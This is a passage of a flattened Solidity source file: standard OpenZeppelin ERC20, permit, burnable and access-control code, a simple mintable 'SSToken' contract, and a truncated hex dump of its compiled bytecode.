Strings.toHexString(uint256(role), 32) ) ) ); } } /** * @dev Returns the admin role that controls `role`. See {grantRole} and * {revokeRole}. * * To change a role's admin, use {_setRoleAdmin}. */ function getRoleAdmin(bytes32 role) public view override returns (bytes32) { return _roles[role].adminRole; } /** * @dev Grants `role` to `account`. * * If `account` had not been already granted `role`, emits a {RoleGranted} * event. * * Requirements: * * - the caller must have ``role``'s admin role. */ function grantRole(bytes32 role, address account) public virtual override onlyRole(getRoleAdmin(role)) { _grantRole(role, account); } /** * @dev Revokes `role` from `account`. * * If `account` had been granted `role`, emits a {RoleRevoked} event. * * Requirements: * * - the caller must have ``role``'s admin role. */ function revokeRole(bytes32 role, address account) public virtual override onlyRole(getRoleAdmin(role)) { _revokeRole(role, account); } /** * @dev Revokes `role` from the calling account. * * Roles are often managed via {grantRole} and {revokeRole}: this function's * purpose is to provide a mechanism for accounts to lose their privileges * if they are compromised (such as when a trusted device is misplaced). * * If the calling account had been revoked `role`, emits a {RoleRevoked} * event. * * Requirements: * * - the caller must be `account`. */ function renounceRole(bytes32 role, address account) public virtual override { require(account == _msgSender(), "AccessControl: can only renounce roles for self"); _revokeRole(role, account); } /** * @dev Grants `role` to `account`. * * If `account` had not been already granted `role`, emits a {RoleGranted} * event. Note that unlike {grantRole}, this function doesn't perform any * checks on the calling account. * * [WARNING] * ==== * This function should only be called from the constructor when setting * up the initial roles for the system. * * Using this function in any other way is effectively circumventing the admin * system imposed by {AccessControl}. * ==== * * NOTE: This function is deprecated in favor of {_grantRole}. */ function _setupRole(bytes32 role, address account) internal virtual { _grantRole(role, account); } /** * @dev Sets `adminRole` as ``role``'s admin role. * * Emits a {RoleAdminChanged} event. */ function _setRoleAdmin(bytes32 role, bytes32 adminRole) internal virtual { bytes32 previousAdminRole = getRoleAdmin(role); _roles[role].adminRole = adminRole; emit RoleAdminChanged(role, previousAdminRole, adminRole); } /** * @dev Grants `role` to `account`. * * Internal function without access restriction. */ function _grantRole(bytes32 role, address account) internal virtual { if (!hasRole(role, account)) { _roles[role].members[account] = true; emit RoleGranted(role, account, _msgSender()); } } /** * @dev Revokes `role` from `account`. * * Internal function without access restriction. */ function _revokeRole(bytes32 role, address account) internal virtual { if (hasRole(role, account)) { _roles[role].members[account] = false; emit RoleRevoked(role, account, _msgSender()); } } } // File: @openzeppelin/contracts@4.4.2/token/ERC20/IERC20.sol // OpenZeppelin Contracts v4.4.1 (token/ERC20/IERC20.sol) pragma solidity ^0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // File: @openzeppelin/contracts@4.4.2/token/ERC20/extensions/IERC20Metadata.sol // OpenZeppelin Contracts v4.4.1 (token/ERC20/extensions/IERC20Metadata.sol) pragma solidity ^0.8.0; /** * @dev Interface for the optional metadata functions from the ERC20 standard. * * _Available since v4.1._ */ interface IERC20Metadata is IERC20 { /** * @dev Returns the name of the token. */ function name() external view returns (string memory); /** * @dev Returns the symbol of the token. */ function symbol() external view returns (string memory); /** * @dev Returns the decimals places of the token. */ function decimals() external view returns (uint8); } // File: @openzeppelin/contracts@4.4.2/token/ERC20/ERC20.sol // OpenZeppelin Contracts v4.4.1 (token/ERC20/ERC20.sol) pragma solidity ^0.8.0; /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin Contracts guidelines: functions revert * instead returning `false` on failure. This behavior is nonetheless * conventional and does not conflict with the expectations of ERC20 * applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract ERC20 is Context, IERC20, IERC20Metadata { mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; /** * @dev Sets the values for {name} and {symbol}. * * The default value of {decimals} is 18. To select a different value for * {decimals} you should overload it. * * All two of these values are immutable: they can only be set once during * construction. */ constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev Returns the name of the token. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5.05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless this function is * overridden; * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view virtual override returns (uint8) { return 18; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom( address sender, address recipient, uint256 amount ) public virtual override returns (bool) { _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][_msgSender()]; require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance"); unchecked { _approve(sender, _msgSender(), currentAllowance - amount); } return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { uint256 currentAllowance = _allowances[_msgSender()][spender]; require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); unchecked { _approve(_msgSender(), spender, currentAllowance - subtractedValue); } return true; } /** * @dev Moves `amount` of tokens from `sender` to `recipient`. * * This internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer( address sender, address recipient, uint256 amount ) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); uint256 senderBalance = _balances[sender]; require(senderBalance >= amount, "ERC20: transfer amount exceeds balance"); unchecked { _balances[sender] = senderBalance - amount; } _balances[recipient] += amount; emit Transfer(sender, recipient, amount); _afterTokenTransfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply += amount; _balances[account] += amount; emit Transfer(address(0), account, amount); _afterTokenTransfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); uint256 accountBalance = _balances[account]; require(accountBalance >= amount, "ERC20: burn amount exceeds balance"); unchecked { _balances[account] = accountBalance - amount; } _totalSupply -= amount; emit Transfer(account, address(0), amount); _afterTokenTransfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve( address owner, address spender, uint256 amount ) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 amount ) internal virtual {} /** * @dev Hook that is called after any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * has been transferred to `to`. * - when `from` is zero, `amount` tokens have been minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens have been burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _afterTokenTransfer( address from, address to, uint256 amount ) internal virtual {} } // File: @openzeppelin/contracts@4.4.2/token/ERC20/extensions/draft-ERC20Permit.sol // OpenZeppelin Contracts v4.4.1 (token/ERC20/extensions/draft-ERC20Permit.sol) pragma solidity ^0.8.0; /** * @dev Implementation of the ERC20 Permit extension allowing approvals to be made via signatures, as defined in * https://eips.ethereum.org/EIPS/eip-2612[EIP-2612]. * * Adds the {permit} method, which can be used to change an account's ERC20 allowance (see {IERC20-allowance}) by * presenting a message signed by the account. By not relying on `{IERC20-approve}`, the token holder account doesn't * need to send a transaction, and thus is not required to hold Ether at all. * * _Available since v3.4._ */ abstract contract ERC20Permit is ERC20, IERC20Permit, EIP712 { using Counters for Counters.Counter; mapping(address => Counters.Counter) private _nonces; // solhint-disable-next-line var-name-mixedcase bytes32 private immutable _PERMIT_TYPEHASH = keccak256("Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)"); /** * @dev Initializes the {EIP712} domain separator using the `name` parameter, and setting `version` to `"1"`. * * It's a good idea to use the same `name` that is defined as the ERC20 token name. */ constructor(string memory name) EIP712(name, "1") {} /** * @dev See {IERC20Permit-permit}. */ function permit( address owner, address spender, uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s ) public virtual override { require(block.timestamp <= deadline, "ERC20Permit: expired deadline"); bytes32 structHash = keccak256(abi.encode(_PERMIT_TYPEHASH, owner, spender, value, _useNonce(owner), deadline)); bytes32 hash = _hashTypedDataV4(structHash); address signer = ECDSA.recover(hash, v, r, s); require(signer == owner, "ERC20Permit: invalid signature"); _approve(owner, spender, value); } /** * @dev See {IERC20Permit-nonces}. */ function nonces(address owner) public view virtual override returns (uint256) { return _nonces[owner].current(); } /** * @dev See {IERC20Permit-DOMAIN_SEPARATOR}. */ // solhint-disable-next-line func-name-mixedcase function DOMAIN_SEPARATOR() external view override returns (bytes32) { return _domainSeparatorV4(); } /** * @dev "Consume a nonce": return the current value and increment. * * _Available since v4.1._ */ function _useNonce(address owner) internal virtual returns (uint256 current) { Counters.Counter storage nonce = _nonces[owner]; current = nonce.current(); nonce.increment(); } } // File: @openzeppelin/contracts@4.4.2/token/ERC20/extensions/ERC20Burnable.sol // OpenZeppelin Contracts v4.4.1 (token/ERC20/extensions/ERC20Burnable.sol) pragma solidity ^0.8.0; /** * @dev Extension of {ERC20} that allows token holders to destroy both their own * tokens and those that they have an allowance for, in a way that can be * recognized off-chain (via event analysis). */ abstract contract ERC20Burnable is Context, ERC20 { /** * @dev Destroys `amount` tokens from the caller. * * See {ERC20-_burn}. */ function burn(uint256 amount) public virtual { _burn(_msgSender(), amount); } /** * @dev Destroys `amount` tokens from `account`, deducting from the caller's * allowance. * * See {ERC20-_burn} and {ERC20-allowance}. * * Requirements: * * - the caller must have allowance for ``accounts``'s tokens of at least * `amount`. */ function burnFrom(address account, uint256 amount) public virtual { uint256 currentAllowance = allowance(account, _msgSender()); require(currentAllowance >= amount, "ERC20: burn amount exceeds allowance"); unchecked { _approve(account, _msgSender(), currentAllowance - amount); } _burn(account, amount); } } // File: Token.sol pragma solidity ^0.8.2; contract SSToken is ERC20, ERC20Burnable, AccessControl, ERC20Permit { bytes32 public constant MINTER_ROLE = keccak256("MINTER_ROLE"); constructor() ERC20("SSTOKEN", "SSTOKEN") ERC20Permit("SSTOKEN") { _mint(msg.sender, 1000000000 * 10 ** decimals()); _grantRole(DEFAULT_ADMIN_ROLE, msg.sender); _grantRole(MINTER_ROLE, msg.sender); } function mint(address to, uint256 amount) public onlyRole(MINTER_ROLE) { _mint(to, amount); } }
0x608060405234801561001057600080fd5b50600436106101735760003560e01c806342966c68116100de578063a217fddf11610097578063d505accf11610071578063d505accf14610498578063d5391393146104b4578063d547741f146104d2578063dd62ed3e146104ee57610173565b8063a217fddf1461041a578063a457c2d714610438578063a9059cbb1461046857610173565b806342966c681461033457806370a082311461035057806379cc6790146103805780637ecebe001461039c57806391d14854146103cc57806395d89b41146103fc57610173565b80632f2ff15d116101305780632f2ff15d14610274578063313ce567146102905780633644e515146102ae57806336568abe146102cc57806339509351146102e857806340c10f191461031857610173565b806301ffc9a71461017857806306fdde03146101a8578063095ea7b3146101c657806318160ddd146101f657806323b872dd14610214578063248a9ca314610244575b600080fd5b610192600480360381019061018d91906122a8565b61051e565b60405161019f9190612741565b60405180910390f35b6101b0610598565b6040516101bd9190612870565b60405180910390f35b6101e060048036038101906101db91906121fb565b61062a565b6040516101ed9190612741565b60405180910390f35b6101fe610648565b60405161020b9190612af2565b60405180910390f35b61022e60048036038101906102299190612106565b610652565b60405161023b9190612741565b60405180910390f35b61025e6004803603810190610259919061223b565b61074a565b60405161026b919061275c565b60405180910390f35b61028e60048036038101906102899190612268565b61076a565b005b610298610793565b6040516102a59190612b0d565b60405180910390f35b6102b661079c565b6040516102c3919061275c565b60405180910390f35b6102e660048036038101906102e19190612268565b6107ab565b005b61030260048036038101906102fd91906121fb565b61082e565b60405161030f9190612741565b60405180910390f35b610332600480360381019061032d91906121fb565b6108da565b005b61034e600480360381019061034991906122d5565b61091b565b005b61036a60048036038101906103659190612099565b61092f565b6040516103779190612af2565b60405180910390f35b61039a600480360381019061039591906121fb565b610977565b005b6103b660048036038101906103b19190612099565b6109f2565b6040516103c39190612af2565b60405180910390f35b6103e660048036038101906103e19190612268565b610a42565b6040516103f39190612741565b60405180910390f35b610404610aad565b6040516104119190612870565b60405180910390f35b610422610b3f565b60405161042f919061275c565b60405180910390f35b610452600480360381019061044d91906121fb565b610b46565b60405161045f9190612741565b60405180910390f35b610482600480360381019061047d91906121fb565b610c31565b60405161048f9190612741565b60405180910390f35b6104b260048036038101906104ad9190612159565b610c4f565b005b6104bc610d91565b6040516104c9919061275c565b60405180910390f35b6104ec60048036038101906104e79190612268565b610db5565b005b610508600480360381019061050391906120c6565b610dde565b6040516105159190612af2565b60405180910390f35b60007f7965db0b000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19161480610591575061059082610e65565b5b9050919050565b6060600380546105a790612d1b565b80601f01602080910402602001604051908101604052809291908181526020018280546105d390612d1b565b80156106205780601f106105f557610100808354040283529160200191610620565b820191906000526020600020905b81548152906001019060200180831161060357829003601f168201915b5050505050905090565b600061063e610637610ecf565b8484610ed7565b6001905092915050565b6000600254905090565b600061065f8484846110a2565b6000600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006106aa610ecf565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490508281101561072a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610721906129f2565b60405180910390fd5b61073e85610736610ecf565b858403610ed7565b60019150509392505050565b600060056000838152602001908152602001600020600101549050919050565b6107738261074a565b6107848161077f610ecf565b611323565b61078e83836113c0565b505050565b60006012905090565b60006107a66114a1565b905090565b6107b3610ecf565b73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614610820576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161081790612ab2565b60405180910390fd5b61082a82826115bb565b5050565b60006108d061083b610ecf565b848460016000610849610ecf565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546108cb9190612b4f565b610ed7565b6001905092915050565b7f9f2df0fed2c77648de5860a4cc508cd0818c85b8b8a1ab4ceeef8d981c8956a661090c81610907610ecf565b611323565b610916838361169d565b505050565b61092c610926610ecf565b826117fd565b50565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600061098a83610985610ecf565b610dde565b9050818110156109cf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109c690612a12565b60405180910390fd5b6109e3836109db610ecf565b848403610ed7565b6109ed83836117fd565b505050565b6000610a3b600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206119d4565b9050919050565b60006005600084815260200190815260200160002060000160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16905092915050565b606060048054610abc90612d1b565b80601f0160208091040260200160405190810160405280929190818152602001828054610ae890612d1b565b8015610b355780601f10610b0a57610100808354040283529160200191610b35565b820191906000526020600020905b815481529060010190602001808311610b1857829003601f168201915b5050505050905090565b6000801b81565b60008060016000610b55610ecf565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905082811015610c12576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c0990612a92565b60405180910390fd5b610c26610c1d610ecf565b85858403610ed7565b600191505092915050565b6000610c45610c3e610ecf565b84846110a2565b6001905092915050565b83421115610c92576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c8990612952565b60405180910390fd5b60007f6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c9888888610cc18c6119e2565b89604051602001610cd796959493929190612777565b6040516020818303038152906040528051906020012090506000610cfa82611a40565b90506000610d0a82878787611a5a565b90508973ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614610d7a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d71906129d2565b60405180910390fd5b610d858a8a8a610ed7565b50505050505050505050565b7f9f2df0fed2c77648de5860a4cc508cd0818c85b8b8a1ab4ceeef8d981c8956a681565b610dbe8261074a565b610dcf81610dca610ecf565b611323565b610dd983836115bb565b505050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b60007f01ffc9a7000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916149050919050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610f47576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f3e90612a72565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610fb7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fae90612932565b60405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516110959190612af2565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611112576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161110990612a52565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611182576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611179906128d2565b60405180910390fd5b61118d838383611a85565b60008060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015611213576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161120a90612972565b60405180910390fd5b8181036000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546112a69190612b4f565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161130a9190612af2565b60405180910390a361131d848484611a8a565b50505050565b61132d8282610a42565b6113bc576113528173ffffffffffffffffffffffffffffffffffffffff166014611a8f565b6113608360001c6020611a8f565b604051602001611371929190612707565b6040516020818303038152906040526040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113b39190612870565b60405180910390fd5b5050565b6113ca8282610a42565b61149d5760016005600084815260200190815260200160002060000160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550611442610ecf565b73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16837f2f8788117e7eff1d82e926ec794901d17c78024a50270940304540a733656f0d60405160405180910390a45b5050565b60007f000000000000000000000000f20a09c0a48dc2259d47dfddb1fad23f88122eed73ffffffffffffffffffffffffffffffffffffffff163073ffffffffffffffffffffffffffffffffffffffff1614801561151d57507f000000000000000000000000000000000000000000000000000000000000000146145b1561154a577f2a0218feb3cd90c5a1332d5225594aed7c7f35693a87c5cadd40bd44d77e2b6990506115b8565b6115b57f8b73c3c69bb8fe3d512ecc4cf759cc79239f7b179b0ffacaa9a75d522b39400f7fa940d74baf4bf15504e46db1ef81af554dc6274c57dae7a114da04c5e475520a7fc89efdaa54c0f20c7adf612882df0950f5a951637e0307cdcb4c672f298b8bc6611ccb565b90505b90565b6115c58282610a42565b156116995760006005600084815260200190815260200160002060000160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555061163e610ecf565b73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16837ff6391f5c32d9c69d2a47ea670b442974b53935d1edc7fd64eb21e047a839171b60405160405180910390a45b5050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561170d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161170490612ad2565b60405180910390fd5b61171960008383611a85565b806002600082825461172b9190612b4f565b92505081905550806000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546117809190612b4f565b925050819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516117e59190612af2565b60405180910390a36117f960008383611a8a565b5050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561186d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161186490612a32565b60405180910390fd5b61187982600083611a85565b60008060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050818110156118ff576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118f6906128f2565b60405180910390fd5b8181036000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600260008282546119569190612bff565b92505081905550600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516119bb9190612af2565b60405180910390a36119cf83600084611a8a565b505050565b600081600001549050919050565b600080600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000209050611a2f816119d4565b9150611a3a81611d05565b50919050565b6000611a53611a4d6114a1565b83611d1b565b9050919050565b6000806000611a6b87878787611d4e565b91509150611a7881611e5b565b8192505050949350505050565b505050565b505050565b606060006002836002611aa29190612ba5565b611aac9190612b4f565b67ffffffffffffffff811115611ac557611ac4612e13565b5b6040519080825280601f01601f191660200182016040528015611af75781602001600182028036833780820191505090505b5090507f300000000000000000000000000000000000000000000000000000000000000081600081518110611b2f57611b2e612de4565b5b60200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916908160001a9053507f780000000000000000000000000000000000000000000000000000000000000081600181518110611b9357611b92612de4565b5b60200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916908160001a90535060006001846002611bd39190612ba5565b611bdd9190612b4f565b90505b6001811115611c7d577f3031323334353637383961626364656600000000000000000000000000000000600f861660108110611c1f57611c1e612de4565b5b1a60f81b828281518110611c3657611c35612de4565b5b60200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916908160001a905350600485901c945080611c7690612cf1565b9050611be0565b5060008414611cc1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611cb8906128b2565b60405180910390fd5b8091505092915050565b60008383834630604051602001611ce69594939291906127d8565b6040516020818303038152906040528051906020012090509392505050565b6001816000016000828254019250508190555050565b60008282604051602001611d309291906126d0565b60405160208183030381529060405280519060200120905092915050565b6000807f7fffffffffffffffffffffffffffffff5d576e7357a4501ddfe92f46681b20a08360001c1115611d89576000600391509150611e52565b601b8560ff1614158015611da15750601c8560ff1614155b15611db3576000600491509150611e52565b600060018787878760405160008152602001604052604051611dd8949392919061282b565b6020604051602081039080840390855afa158015611dfa573d6000803e3d6000fd5b505050602060405103519050600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415611e4957600060019250925050611e52565b80600092509250505b94509492505050565b60006004811115611e6f57611e6e612d86565b5b816004811115611e8257611e81612d86565b5b1415611e8d5761202d565b60016004811115611ea157611ea0612d86565b